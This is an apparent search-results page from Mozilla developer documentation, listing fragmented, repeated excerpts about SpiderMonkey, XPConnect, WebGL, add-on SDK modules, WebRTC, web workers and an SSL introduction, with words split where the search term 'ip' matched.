ipt may bring to mind features such as event handlers (like onclick), dom objects, window.open, and xmlhttprequest. but in mozilla, all of these features are actually provided by other components, not the spidermonkey engine itself. ...
...on for the objects needed to execute scr
ipts, and it cleans up--garbage collects--objects it no longer needs. the word javascr
ipt may bring to mind features such as event handlers (like onclick), dom objects, window.open, and xmlhttprequest. but in mozilla, all of these features are actually provided by other components, not the spidermonkey engine itself. spidermonkey provides a few core javascr
ipt data types--numbers, strings, arrays, objects, and so on--and a few methods, such as array.push. it also makes it easy for each application to expose some of its own objects and functions to javascr
ipt code. browsers expose dom objects. your application will expose objects that are relevant for the kind of scr
ipts you want to write. it is up to the application developer to decide what objects an...
...And 94 more matches
nsIXPConnect
js/src/xpconnect/idl/nsixpconnect.idlnot scr
iptable provides the xpconnect service. ...
...ides the xpconnect service. ...
... this: nsresult rv; nscomptr<nsixpconnect> xpconnect = do_getservice(nsixpconnect::getcid(), &rv); if (ns_succeeded(rv)) { /* use the object */ } method overview void addjsholder(in voidptr aholder, in nsscr
iptobjecttracerptr atracer); native code only! void clearallwrappednativesecuritypolicies(); nsixpconnectjsobjectholder createsandbox(in jscontextptr cx, in ns
iprinc
ipal princ
ipal); native code only! nsistackframe createstackframelocation(in pruint32 alanguage, in string afilename, in string afunctionname, in print32 alinenumber, in nsistackframe acaller); void debugdump(in short depth); void debugdumpevalinjsstackframe(in pruint32 aframenumber, in string asourcetext); void debugdumpjsstack(in prbool showargs, in prboo...
...And 94 more matches
LiveConnect Overview - Archive of obsolete content
this chapter describes using liveconnect technology to let java and javascr
ipt code communicate with each other. the chapter assumes you are familiar with java programming. working with wrappers in javascr
ipt, a wrapper is an object of the target language data type that encloses an object of the source language. when programming in javascr
ipt, you can use a wrapper object to access methods and fields of the java object; calling a method or accessing a property on the wrapper results in a call on the java object. on the java side, javascr
ipt objects are wrapped in an instance of the class netscape.javascr
ipt.jsobject and passed to java. ...
...ta type that encloses an object of the source language. when programming in javascr
ipt, you can use a wrapper object to access methods and fields of the java object; calling a method or accessing a property on the wrapper results in a call on the java object. on the java side, javascr
ipt objects are wrapped in an instance of the class netscape.javascr
ipt.jsobject and passed to java. when a javascr
ipt object is sent to java, the runtime engine creates a java wrapper of type jsobject; when a jsobject is sent from java to javascr
ipt, the runtime engine unwraps it to its original javascr
ipt object type. the jsobject class provides an interface for invoking javascr
ipt methods and examining javascr
ipt properties. ...
...of the class netscape.javascr
ipt.jsobject and passed to java. when a javascr
ipt object is sent to java, the runtime engine creates a java wrapper of type jsobject; when a jsobject is sent from java to javascr
ipt, the runtime engine unwraps it to its original javascr
ipt object type. the jsobject class provides an interface for invoking javascr
ipt methods and examining javascr
ipt properties. javascr
ipt to java communication when you refer to a java package or class, or work with a java object or array, you use one of the special liveconnect objects. all javascr
ipt access to java takes place with these objects, which are summarized in the following table. ...
...And 82 more matches
JSAPI reference
to learn how to use the jsapi, see the jsapi user guide and the jsapi cookbook. note: the foss wiki page contains a few links to other libraries and programs that can make life easier when using spidermonkey and the jsapi. a note on versioning: up until the release of firefox 4, spidermonkey, and thus the jsapi, was versioned in an ad-hoc way, with releases happening at times that roughly, but not really, corresponded to firefox releases. in the fall of 2012, the spidermonkey team decided to align releases with those of firefox. the reference applies this versioning scheme retroactively starting with firefox 5. ...
... js_getsecondcontextprivate added in spidermonkey 17 js_setsecondcontextprivate added in spidermonkey 17 js_setinterruptcallback added in spidermonkey 31 js_getinterruptcallback added in spidermonkey 31 js_requestinterruptcallback added in spidermonkey 31 js_checkforinterrupt added in jsapi 45 js_destroycontextmaybegc obsolete since jsapi 14 js_setbranchcallback obsolete since javascr
ipt 1.9.1 js_setoperationcallback obsolete since jsapi 30 js_getoperationcallback obsolete since jsapi 30 js_triggeroperationcallback obsolete since jsapi 30 js_clearoperationcallback obsolete since javascr
ipt 1.9.1 js_getoperationlimit obsolete since javascr
ipt 1.9.1 js_setoperationlimit obsolete since javascr
ipt 1.9.1 js_max_operation_limit obsolete since javascr
ipt 1.9.1 js_operation_weig...
...ck obsolete since jsapi 30 js_getoperationcallback obsolete since jsapi 30 js_triggeroperationcallback obsolete since jsapi 30 js_clearoperationcallback obsolete since javascr
ipt 1.9.1 js_getoperationlimit obsolete since javascr
ipt 1.9.1 js_setoperationlimit obsolete since javascr
ipt 1.9.1 js_max_operation_limit obsolete since javascr
ipt 1.9.1 js_operation_weight_base obsolete since javascr
ipt 1.9.1 js_setthreadstacklimit obsolete since jsapi 13 js_setscr
iptstackquota obsolete since javascr
ipt 1.8.6 js_setoptions obsolete since jsapi 27 js_getoptions obsolete since jsapi 27 js_toggleoptions obsolete since jsapi 27 enum jsversion jsversion_ecma_3 jsversion_1_6 jsversion_1_7 jsversion_1_8 jsversion_ecma_5 jsversion_default jsversion_unknown jsvers...
...And 67 more matches
JXON - Archive of obsolete content
a tree of nested instances of object) and viceversa, with some different algorithms. it could be useful to read the xml introduction article first. ...
...a tree of nested instances of object) and viceversa, with some different algorithms. it could be useful to read the xml introduction article first. ...
...ut some conventions begin to appear on the web. there are some cases in which the whole content of an xml document must be read from the javascr
ipt interpreter (like for web-apps languages or settings xml documents, for example). in these cases jxon could represent the most practical way. in this article we will show how to convert a parsed xml document (i.e. an instance of document) to a javascr
ipt object tree (i.e. a tree of nested instances of object) and viceversa, with some different algorithms. it could be useful to read the xml introduction article first. if you want a complete bidirectional jxon library (modelled on the json global object), sk
ip to the dedicated paragraph (but please read the note about the const statement compatibility). note: if you are interested to address onl...
...And 64 more matches
Index - Archive of obsolete content
completedefaultindex xul attributes, xul reference no summary! 69 completeselectedindex no summary! 70 container xul attributes, xul reference no summary! 71 containment xul attributes, xul reference no summary! 72 contentcontextmenu xul attributes, xul reference no summary! 73 contenttoolt
ip xul attributes, xul reference no summary! 74 context xul attributes, xul reference no summary! 75 contextmenu xul attributes, xul reference no summary! 76 control xul attributes, xul reference no summary! 77 crop xul attributes, xul reference no summary! 78 curpos xul attributes, xul refer...
... datepicker.value xul attributes, xul reference no summary! 87 decimalplaces xul attributes, xul reference no summary! 88 default xul attributes, xul reference no summary! 89 defaultbutton xul attributes, xul reference no summary! 90 defaultset xul attributes, xul reference no summary! 91 descr
iption xul attributes, xul reference no summary! 92 dir xul attributes, xul reference no summary! 93 disablekeynavigation xul attributes, xul reference no summary! 94 disableautocomplete xul attributes, xul reference no summary! 95 disableautoselect xul attributes, xul reference no summary! 96 di...
...126 flags xul attributes, xul reference no summary! 127 flex xul attributes, xul reference no summary! 128 focused xul attributes, xul reference no summary! 129 forcecomplete xul attributes, xul reference no summary! 130 fullscreenbutton xul, xul attributes, xul reference no summary! 131 gr
ippyhidden xul attributes, xul reference no summary! 132 gr
ippytoolt
iptext xul attributes, xul reference no summary! 133 group xul attributes, xul reference no summary! 134 handlectrltab xul attributes, xul reference no summary! 135 height xul attributes, xul reference no summary! 136 helpuri ...
...And 61 more matches
WebGL constants - Web APIs
ation, examples, and resources on how to get started with webgl. table of contents standard webgl 1 constants standard webgl 2 constants webgl extension constants standard webgl 1 constants these constants are defined on the webglrenderingcontext interface. clearing buffers constants passed to webglrenderingcontext.clear() to clear buffer masks. constant name value descr
iption depth_buffer_bit 0x00000100 passed to clear to clear the current depth buffer. stencil_buffer_bit 0x00000400 passed to clear to clear the current stencil buffer. color_buffer_bit 0x00004000 passed to clear to clear the current color buffer. rendering primitives constants passed to webglrenderingcontext.drawelements() or webglrenderingco...
... stencil_buffer_bit 0x00000400 passed to clear to clear the current stencil buffer. color_buffer_bit 0x00004000 passed to clear to clear the current color buffer. rendering primitives constants passed to webglrenderingcontext.drawelements() or webglrenderingcontext.drawarrays() to specify what kind of primitive to render. ...
...alue descr
iption points 0x0000 passed to drawelements or drawarrays to draw single points. lines 0x0001 passed to drawelements or drawarrays to draw lines. each vertex connects to the one after it. line_loop 0x0002 passed to drawelements or drawarrays to draw lines. each set of two vertices is treated as a separate line segment. line_str
ip 0x0003 passed to drawelements or drawarrays to draw a connected group of line segments from the first vertex to the last. triangles 0x0004 passed to drawelements or drawarrays to draw triangles. each set of three vertices creates a separate triangle. triangle_str
ip 0x0005 passed to drawelements or drawarrays to draw a connected group of triangles. tria...
...And 59 more matches
Migrate apps from Internet Explorer to Mozilla - Archive of obsolete content
many browsers, such as internet explorer, also support pre-w3c apis and have never added extensive su...
...many browsers, such as internet explorer, also support pre-w3c apis and have never added extensive support for the w3c-compliant ones. before i go into the differences between mozilla and inter...
...many browsers, such as internet explorer, also support pre-w3c apis and have never added extensive support for the w3c-compliant ones. before i go into the differences between mozilla and internet explorer, i'll cover some basic ways you can ma...
...And 58 more matches
context-menu - Archive of obsolete content
ge, or other non-text node, or while a selection exists. ...
... urlcontext(matchpattern) this context occurs when the menu is invoked on pages with particular urls. matchpattern is a match pattern string or an array of match pattern strings. when matchpattern is an array, the context occurs when the menu is invoked on a page whose url matches any of the patterns. ...
...r. menu items also have a context property that can be used to add and remove declarative contexts after construction. for example: var context = require("sdk/context-menu").selectorcontext("img"); mymenuitem.context.add(context); mymenuitem.context.remove(context); when a menu item is bound to more than one context, it appears in the menu when all of those contexts occur. ...
...And 56 more matches
page-mod - Archive of obsolete content
run scr
ipts in the context of web pages whose url matches a given pattern. usage to use page-mod, you specify: one or more scr
ipts to attach. the sdk calls these scr
ipts "content scr
ipts". a pattern that a page's url must match, in order for the scr
ipt(s) to be attached to that page. ...
... specify: one or more scr
ipts to attach. the sdk calls these scr
ipts "content scr
ipts". a pattern that a page's url must match, in order for the scr
ipt(s) to be attached to that page. ...
.... a pattern that a page's url must match, in order for the scr
ipt(s) to be attached to that page. ...
...And 51 more matches
nsIMsgIncomingServer
nsimsgincomingserver mailnews/base/public/nsimsgincomingserver.idlscr
iptable ??? add brief descr
iption of interface ??? ...
... nsimsgincomingserver mailnews/base/public/nsimsgincomingserver.idlscr
iptable ??? add brief descr
iption of interface ??? ...
...omingserver.idlscr
iptable ??? add brief descr
iption of interface ??? ...
...And 50 more matches
Index - Game development
found 74 pages: # page tags and summary 1 game development apps, game development, gamedev, games, html5 games, javascr
ipt games, web gaming is one of the most popular computer activities. new technologies are constantly arriving to make it possible to develop better and more powerful games that can be run in any standards-compliant web browser. 2 anatomy of a video game games, javascr
ipt, main loop, requestanimationframe i want to be clear that any of the above, or none of them, could be best for your game. the correct decision entirely depends on the trade-offs that you are willing (and unwilling) to make. the concern is mostly with switching to another option. fortunately, i do not have any experience with this, but i hav...
...ake. the concern is mostly with switching to another option. fortunately, i do not have any experience with this, but i have heard it is an excruciating game of whack-a-mole. 3 examples demos, example, games, web this page lists a number of impressive web technology demos for you to get inspiration from, and generally have fun with. a testament to what can be done with javascr
ipt, webgl, and related technologies. 4 index meta found 74 pages: 5 introduction to html5 game development (summary) firefox os, games, html5, mobile games built with html5 work on smartphones, tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime. 6 introduction to game development for the web ...
...n to html5 game development (summary) firefox os, games, html5, mobile games built with html5 work on smartphones, tablets, pcs and smart tvs.update your game whenever you want.players can play the game anywhere, anytime. ...
...And 48 more matches
imgIContainer
it provides access to frames as thebes surfaces and lets users extract subregions as other imgicontainer objects. it also provides methods for drawing images onto thebes contexts. internally, this interface also manages animation of images. 66 introduced gecko 1.0 inherits from: nsisupports last changed in gecko 14.0 (firefox 14.0 / thunderbird 14.0 / seamonkey 2.11) implemented by: ?????????????????????????????????????. ...
...you can only be guaranteed that querying this will not throw if status_decode_complete is set on the imgirequest. read only. exceptions thrown ns_error_not_available if the animated state cannot be determined. animationmode unsigned short currentframe gfxasurf...
... preferredalphachannelformat gfx_format read only. obsolete since gecko 1.9.2 type unsigned short the type of this image (one of the type_* values above). read only. width print32 the width of the container rectangle. in the case of any error, zero is returned, and an exception will be thrown. read only. constants constant value descr
iption type_raster 0 enumerated values for the 'type' attribute (below). type_vector 1 flag_none 0x0 flags for imgicontainer operations. meanings: flag_none: lack of flags. flag_sync_decode: forces synchronous/non-progressive decode of all available data before the call returns. it is an error to pass this flag from a call stack that or...
...And 48 more matches
WebGL model view projection - Web APIs
rices individual transformations of points and polygons in space in webgl are handled by the basic transformation matrices like translation, scale, and rotation. these matrices can be composed together and grouped in special ways to make them useful for rendering complicated 3d scenes. these composed matrices ultimately move the original model data around into a special coordinate space called cl
ip space. this is a 2 unit wide cube, centered at (0,0,0), and with corners that range range from (-1,-1,-1) to (1,1,1). this cl
ip space is compressed down into a 2d space and rasterized into an image. the first matrix discussed below is the model matrix, which defines how you take your original model data and move it around in 3d world space. the projection matrix is used to convert world space co...
...a commonly used projection matrix, the perspective projection matrix, is used to mimic the effects of a typical camera serving as the stand-in for the viewer in the 3d virtual world. ...
...or moving the objects in the scene to simulate the position of the camera being changed, altering what the viewer is currently able to see. the sections below offer an in-depth look into the ideas behind and implementation of the model, view, and projection matrices. these matrices are core to moving data around on the screen, and are concepts that transcend individual frameworks and engines. cl
ip space in a webgl program, data is typically uploaded to the gpu with its own coordinate system and then the vertex shader transforms those points into a special coordinate system known as cl
ip space. any data which extends outside of the cl
ip space is cl
ipped off and not rendered. however, if a triangle straddles the border of this space then it is chopped up into new triangles, and only the par...
...And 48 more matches
Message manager overview
in mult
iprocess firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions one or more content processes, also called child processes. these processes run web content. message managers are designed to enable chrome-privileged javascr
ipt code in one process to communicate with chrome-privileged javascr
ipt code in a different process. this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for. ...
...if chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use. ...
...rent process. this article describes the different types of message manager, how to access them, and at a high level, what sorts of things you can use them for. at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a scr
ipt into a browser frame (essentially, a single browser tab) in the content process. these scr
ipts are called frame scr
ipts, and as the name suggests, they are scoped to a specific browser frame. if chrome code wants to run code in the content process so it can access web content, this is usually the sort of message manager to use. process message managers: these correspond to process boundaries, and enable code running in the parent (chrome) process to communicate with code running in the ...
...And 46 more matches
panel - Archive of obsolete content
creates transient dialogs to implement part of an add-on's user interface. usage this module exports a single constructor function panel() which constructs a new panel. a panel is a dialog. its content is specified as html and you can execute scr
ipts in it, so the appearance and behavior of the panel is limited only by what you can do using html, css, and javascr
ipt. the screenshot below shows a panel whose content is built from the list of currently open tabs: panels are useful for presenting temporary interfaces to users in a way that is easier for users to ignore and dismiss than a modal dialog, since panels are hidden the moment users interact with parts of the application interface outside them. a panel's content is loaded as soon as it is created, before the panel is shown, ...
...ant to close an existing panel without opening a new one, you can call the hide() or the destroy() method. panel content the panel's content is specified as html, which is loaded from the url supplied in the contenturl option to the panel's constructor. you can load remote html into the panel: var mypanel = require("sdk/panel").panel({ width: 180, height: 180, contenturl: "https://en.wik
ipedia.org/w/index.php?title=jetpack&useformat=mobile" }); mypanel.show(); you can also load html that's been packaged with your add-on, and this is most probably how you will create dialogs. to do this, save the html in your add-on's data directory and load it using the data.url() method exported by the self module, like this: var mypanel = require("sdk/panel").panel({ contenturl: require("s...
...dlechange }); var mypanel = sdkpanels.panel({ contenturl: self.data.url("panel.html"), onhide: handlehide }); function handlechange(state) { if (state.checked) { mypanel.show({ position: button }); } } function handlehide() { button.state('window', {checked: false}); } updating panel content you can update the panel's content by: sending a message to a content scr
ipt that updates the dom in the same document. this is usually the best approach. embedding an iframe in the panel, and changing its document setting the panel's contenturl property. however, doing this will cause any content scr
ipts to be unloaded and then reloaded, so it may be less efficient, and you'll lose any state associated with the scr
ipts. scr
ipting panel content you can't directly ac...
...And 44 more matches
MCD, Mission Control Desktop, AKA AutoConfig - Archive of obsolete content
domdir/prefs.js) we now use a centralized default set of preferences. this centralized preference file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...) from the enterprise directory. ...
...erence file can lock preferences (lockpref) or initialize them (defaultpref) based on environment variables (user, home...) and/or ldap queries (fetch email address, common name , language, homepage etc...) from the enterprise directory. central configuration file that feature is provided through a javascr
ipt file. ...
... ( it used to be in /usr/lib/thunderbird-version#/default/pref as in /usr/lib/thunderbird-5/default/pref ) for the record/history purpose ... the old netscape 4.x the file is encoded (byte-shift/rotary is 7), and the presence of the file (netscape.cfg) in the mozilla_home directory suffices for it to be read and executed. for mozilla 1.x.x, firefox, thunderbird or netscape 7 it is still a javascr
ipt file, the byte-shift is 13 by default, but can be removed using the pref("general.config.obscure_value", 0); preference in any appropriate .js file dedicated to autoconfig (here autoconf.js). the name of the file can be anything you want because it is named by a general.config preference that should be added at the end of file mozilla_home/default/pref/autoconf.js or mozilla_home/greprefs/autoc...
...And 44 more matches
widget - Archive of obsolete content
uire("sdk/widget").widget({ id: "my-widget", label: "my widget", contenturl: data.url("my-content.html") }); this widget contains an entire web page: require("sdk/widget").widget({ id: "hello-display", label: "my hello widget", content: "hello!", width: 50 }); widgets are quite small by default, so this example used the width property to grow it in order to show all the text. scr
ipting widget content to interact with the widget's content you need to load a separate scr
ipt into the panel. in the sdk these scr
ipts are called "content scr
ipts" because they're explicitly used for interacting with web content. while content scr
ipts can access the content they're attached to, they can't use the sdk's apis. so implementing a complete solution usually means you have to send messa...
...eract with the widget's content you need to load a separate scr
ipt into the panel. in the sdk these scr
ipts are called "content scr
ipts" because they're explicitly used for interacting with web content. while content scr
ipts can access the content they're attached to, they can't use the sdk's apis. so implementing a complete solution usually means you have to send messages between the content scr
ipt and the main add-on code. you can specify one or more content scr
ipts to load into the widget using the contentscr
ipt or contentscr
iptfile options to the widget() constructor. you can communicate with the scr
ipt using either the postmessage() api or (preferably, usually) the port api. ...
...this makes your code easier to maintain, secure, debug and review. ...
...And 43 more matches
page-worker - Archive of obsolete content
ts dom. usage the module exports a constructor function page, which constructs a new page worker. a page worker may be destroyed, after which its memory is freed, and you must create a new instance to load another page. you specify the page to load using the contenturl option to the page() constructor. ...
...tructs a new page worker. a page worker may be destroyed, after which its memory is freed, and you must create a new instance to load another page. you specify the page to load using the contenturl option to the page() constructor. ...
...dk/page-worker").page({ contentscr
ipt: "console.log(document.body.innerhtml);", contenturl: "http://en.wik
ipedia.org/wiki/internet" }); it can also point to an html file which you've packaged with your add-on. to do this, save the file in your add-on's data directory and create the url using the data.url() method of the self module: pageworker = require("sdk/page-worker").page({ contentscr
ipt: "console.log(document.body.innerhtml);", contenturl: require("sdk/self").data.url("myfile.html") }); from firefox 34, you can use "./myfile.html" as an alias for self.data.url("myfile.html"). ...
...And 42 more matches
Rosetta - Archive of obsolete content
by default, the only possible standardized scr
ipting language for html is ecmascr
ipt. hence, if you are going to use another scr
ipting language you might expect that most of the browsers will not recognize it. also, regarding some languages (like c), it is even not well defined the meaning of part of their semantics in respect to a scope that is more restricted than the full access to the resources they usually deal with - imagine, for example, the meaning of a c pointer within a html page! ...
...we can show, however, a possible way to start from. the following code is nothing but t...
...f part of their semantics in respect to a scope that is more restricted than the full access to the resources they usually deal with - imagine, for example, the meaning of a c pointer within a html page! nevertheless, the increasing computational power of modern browsers together with the introduction of typed arrays in ecmascr
ipt allow us, in theory, to build full virtual machines in pure ecmascr
ipt. therefore, it is also possible, in theory, to use ecmascr
ipt for a smaller task: parsing exotic programming languages (i.e., creating compilers). beyond ecmascr
ipt this is not the place for showing a full compiler written in ecmascr
ipt. we can show, however, a possible way to start from. the following code is nothing but the base for an extensible collection of compilers. but by default, no c...
...And 42 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
} remotevideo.srcobject = streams[0]; }; }; when the track event occurs, this handler executes. using destructuring, the rtctrackevent's track and streams properties are extracted. the former is either the video track or the audio track being received. the latter is an array of mediastream objects, each representing a stream containing this track (a track may in rare cases belong to mult
iple streams at once). in our case, this will always contain one stream, at index 0, because we passed one stream into addtrack() earlier. we add an unmute event handler to the track, because the track will become unmuted once it starts receiving packets. we put the remainder of our reception code in there. if we already have video coming in from the remote peer (which we can see if the remote vie...
...ady has a value), we do nothing. otherwise, we set srcobject to the stream at index 0 in the streams array. the perfect negotiation logic now we get into the true perfect negotiation logic, which functions entirely independently from the rest of the application. ...
... which functions entirely independently from the rest of the application. handling the negotiationneeded event first, we implement the rtcpeerconnection event handler onnegotiationneeded to get a local descr
iption and send it using the signaling channel to the remote peer. ...
...And 41 more matches
Creating localizable web applications
an important step of developing a web application or creating web content is making sure that it can be localized. listed below are good practices and recommendations that should be followed in order to make your content easily localizable. note: most of the code sn
ippets used in the examples below come from an early version of the getpersonas.com website. in some cases, the code sn
ippets were slightly changed to better illustrate the recommendations or for clarity. cheatsheet don't hardcode english text, formats (numbers, dates, addresses, etc.), word order or sentence structure. don't put text or numbers in images. don't forget about right-to-left locales. take advantage of printf() (or equivalents) and use variables in the english strings. write semantic code (e.g. don'...
...rite semantic code (e.g. don't use text and <img/> for decorations; instead, use css). document your code so that localizers know what they're translating (e.g. in gettext use comments and contexts). app logic detect the locale correctly be smart about detecting the user's locale correctly. you can use one or more of the following techniques: http accept-language headers, the ua string,
ip geolocation. see examples of the addons.mozillaorg code at /addons/trunk/site/app/config/language.php and /addons/trunk/site/app/config/language.inc.php. the language_config class expects arrays of valid languages & supported languages. always give the user a possibility to change the locale (e.g. by adding locale dropdown menu at bottom of page) and remember this choice for the future visits.
... to the english-only pages from the navigation (headers, footers, sidebars) in the localized versions. define the locale and the direction in the html generate the lang attribute dynamically, depending on the current locale. use the dir attribute on the <html/> element and consider using a rtl class on <html/> or <body/> as well, in order to easily change css rules like in the example below. sn
ippet 1. bad: <html lang="en"> sn
ippet 2. good: css: html[dir='rtl'] foo { /* rtl-specific rules for the foo element */ } body.rtl foo { /* rtl-specific rules for the foo element */ } html/php: <?php function isrtl($locale) { $rtl_locales = array('ar', 'fa', 'he'); return in_array($locale, $rtl_locales); } ?> <html lang="<?= $locale?>" dir="<?= isrtl($locale) ? 'r...
...And 38 more matches
SVG documentation index - SVG: Scalable Vector Graphics
using svg within css styles to apply graphical effects to html content. 3 compatibility sources svg the following sources are used for the compatibility tables on svg elements and attributes: 4 content type needstechnicalreview, svg, types, data types svg makes use of a number of data types. this article lists these types along with their syntax and descr
iptions of what they're used for. 5 linking guide, svg the target attribute on the svg <a> element doesn't work in mozilla firefox 1.5. when svg documents are embedded within a parent html document using the tag: 6 namespaces crash course svg, xml as an xml dialect, svg is namespaced. it is important to understand the concept of namespaces and how they are u...
...wers prior to the release of firefox 1.5 unfortunately paid scant attention to namespaces, but they are essential to multi-xml dialect supporting user agents such as gecko-based browsers which must be very strict. take some time to understand namespaces now and it will save you all sorts of headaches in the future. 7 example svg, xml in this example, we use xhtml, svg, javascr
ipt, and the dom to animate a swarm of "motes". these motes are governed by two simple princ
iples. first, each mote tries to move towards the mouse cursor, and second each mote tries to move away from the average mote position. combined, we get this very natural-looking behavior. 8 other resources reference, svg here is a list of additional resources on svg: 9 project...
...ttributes attribute, intermediate, reference, svg the svg core attributes are all the common attributes that can be specified on any svg element. 16 svg event attributes advanced, attribute, draft, landing, needsupdate, svg event attributes always have their name starting with "on" followed by the name of the event for which they are intended. they specifies some scr
ipt to run when the event of the given type is dispatched to the element on which the attributes are specified. 17 svg presentation attributes attribute, beginner, draft, reference, svg svg presentation attributes are css properties that can be used as attributes on svg elements. 18 svg styling attributes attribute, beginner, needsexample, reference, svg the...
...And 38 more matches
MathML Torture Test
>tex gyre pagella</option> <option value="texgyreschola">tex gyre schola</option> <option value="texgyretermes">tex gyre termes</option> <option value="xits">xits</option> </select> <br/> </p> <table> <tr> <td></td> <th scope="col">as rendered by tex</th> <th scope="col">as rendered by your browser</th></tr> <tr> <td>1</td> <td><img src="https://udn.realityr
ipple.com/samples/45/d5a0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src...
...0dbbca3.png" width="38" height="22" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <mrow> <msup> <mi>x</mi> <mn>2</mn> </msup> <msup> <mi>y</mi> <mn>2</mn> </msup> </mrow> </math> </td></tr> <tr> <td>2</td> <td><img src="https://udn.realityr
ipple.com/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <mmultiscr
ipts> <mi>f</mi> <mn>3</mn><none/> <m...
...m/samples/b8/da4a50ea34.png" width="30" height="17" alt="texbook, 16.2-16.3" /></td> <td> <math display="block"> <!-- <mrow> <msub><mi></mi><mn>2</mn></msub> <msub><mi>f</mi><mn>3</mn></msub> </mrow> --> <mrow> <mmultiscr
ipts> <mi>f</mi> <mn>3</mn><none/> <mprescr
ipts/> <mn>2</mn><none/> </mmultiscr
ipts> </mrow> </math> </td></tr> <tr> <td>3</td> <td><img src="https://udn.realityr
ipple.com/samples/8a/1d0e6e073c.png" width="58" height="47" alt="texbook, 17-17.1" /></td> <td> <math display="block"> <mrow> <mfrac> <mrow> <mi>x</mi> <mo>+</mo> ...
...And 37 more matches
Using Web Workers - Web APIs
web workers are a simple means for web content to run scr
ipts in background threads. the worker thread can perform tasks without interfering with the user interface. in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null). once created, a worker can send messages to the javascr
ipt code that created it by posting messages to an event handler specified by that code (and vice versa). this article provides a detailed introduction to using web workers. web workers api a worker is an object created using a constructor (e.g. worker()) that runs a named javascr
ipt file -- this file contains the code that will run in the worker thread; workers run in another global context that is different from the current window. thus, using the wi...
...code that will run in the worker thread; workers run in another global context that is different from the current window. thus, using the window shortcut to get the current global scope (instead of self) within a worker will return an error. the worker context is represented by a dedicatedworkerglobalscope object in the case of dedicated workers (standard workers that are utilized by a single scr
ipt; shared workers use sharedworkerglobalscope). a dedicated worker is only accessible from the scr
ipt that first spawned it, whereas shared workers can be accessed from mult
iple scr
ipts. note: see the web workers api landing page for reference documentation on workers and additional guides. you can run whatever code you like inside the worker thread, with some exceptions. for example, you can'...
...but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb. see functions and classes available to workers for more details. ...
...And 37 more matches
StringView - Archive of obsolete content
the aims of this library are: to create a c-like interface for strings (i.e., an array of character codes -- an arraybufferview in javascr
ipt) based upon the javascr
ipt arraybuffer interface to create a highly extensible library that anyone can extend by adding methods to the object stringview.prototype to create a collection of methods for such string-like objects (since now: stringviews) which work strictly on arrays of numbers rather than on creating new immutable javascr
ipt strings to work with unicode encodings other than javascr
ipt's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video man
ipulation, access to raw data using websockets, and so forth, it has become clear that there are times whe...
... of numbers rather than on creating new immutable javascr
ipt strings to work with unicode encodings other than javascr
ipt's default utf-16 domstrings introduction as web applications become more and more powerful, adding features such as audio and video man
ipulation, access to raw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascr
ipt code to be able to quickly and easily man
ipulate raw binary data. in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer. ...
...aw data using websockets, and so forth, it has become clear that there are times when it would be helpful for javascr
ipt code to be able to quickly and easily man
ipulate raw binary data. in the past, this had to be simulated by treating the raw data as a string and using the charcodeat() method to read the bytes from the data buffer. however, this is slow and error-prone, due to the need for mult
iple conversions (especially if the binary data is not actually byte-format data, but, for example, 32-bit integers or floats). javascr
ipt typed arrays provide a mechanism for accessing raw binary data much more efficiently. the stringview constructor is one level above typed arrays. ...
...And 36 more matches
Chapter 5: Let's build a Firefox extension - Archive of obsolete content
was authored by taiga (gomita) gomibuchi and was originally published in japanese for the firefox developers conference summer 2007. gomita-san won "most useful upgraded extension" award in mozilla's 2006 "extend firefox" competition for scrapbook, and was runner-up in the "extend firefox 2" contest for firegestures. the chapters so far have each focused on technologies in isolation--xul, javascr
ipt, css, and xpcom. in this chapter, we'll discuss how to put them together to actually build an extension. an easier method of building a firefox/thunderbird addon for developers who are well-acquainted with ides like netbeans, ecl
ipse, etc. is to use netbeans (ide from sun microsystems) and foxbeans (plugin for netbeans, by teesoft). setting up your development environment in order to develop...
... create a development profile if you want to partition your everyday browsing environment from your development environment in firefox, set up a second profile for development. ...
...rt the profile manager will appear, where you can create the dev profile and configure its home-path. change your preferences for more efficient development before you get to work developing your extension, you'll want to change some of your firefox preferences. this isn't a requirement for extension development, but i recommend it as a way to work more efficiently. preference descr
iption value nglayout.debug.disable_xul_cache (not present in firefox 3.5+) ordinarily, firefox will cache xul documents after they have been read in once, to speed subsequent displays. disabling this cache forces xul documents to be reloaded any every time they are displayed. true browser.dom.window.dump.enabled (not present in firefox 3.5+) enabl...
...And 36 more matches
Introduction to SSL - Archive of obsolete content
the details of the protocol are available in request for comments (rfc): 2246,the tls protocol version 1.0. some red hat products already support tls. ...
...is primarily intended for administrators of red hat server products, but the information it contains may also be useful for developers of applications that support ssl. the document assumes that you are familiar with the basic concepts of public-key cryptography, as summarized in "introduction to public-key cryptography." the ssl protocol the transmission control protocol/internet protocol (tcp/
ip) governs the transport and routing of data over the internet. other protocols, such as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/
ip in the sense that they all use tcp/
ip to support typical application tasks such as displaying web pages or running email servers. the ssl protocol runs a...
... the transport and routing of data over the internet. other protocols, such as the hypertext transport protocol (http), lightweight directory access protocol (ldap), or internet messaging access protocol (imap), run "on top of" tcp/
ip in the sense that they all use tcp/
ip to support typical application tasks such as displaying web pages or running email servers. the ssl protocol runs above tcp/
ip and below higher-level protocols such as http or imap. it uses tcp/
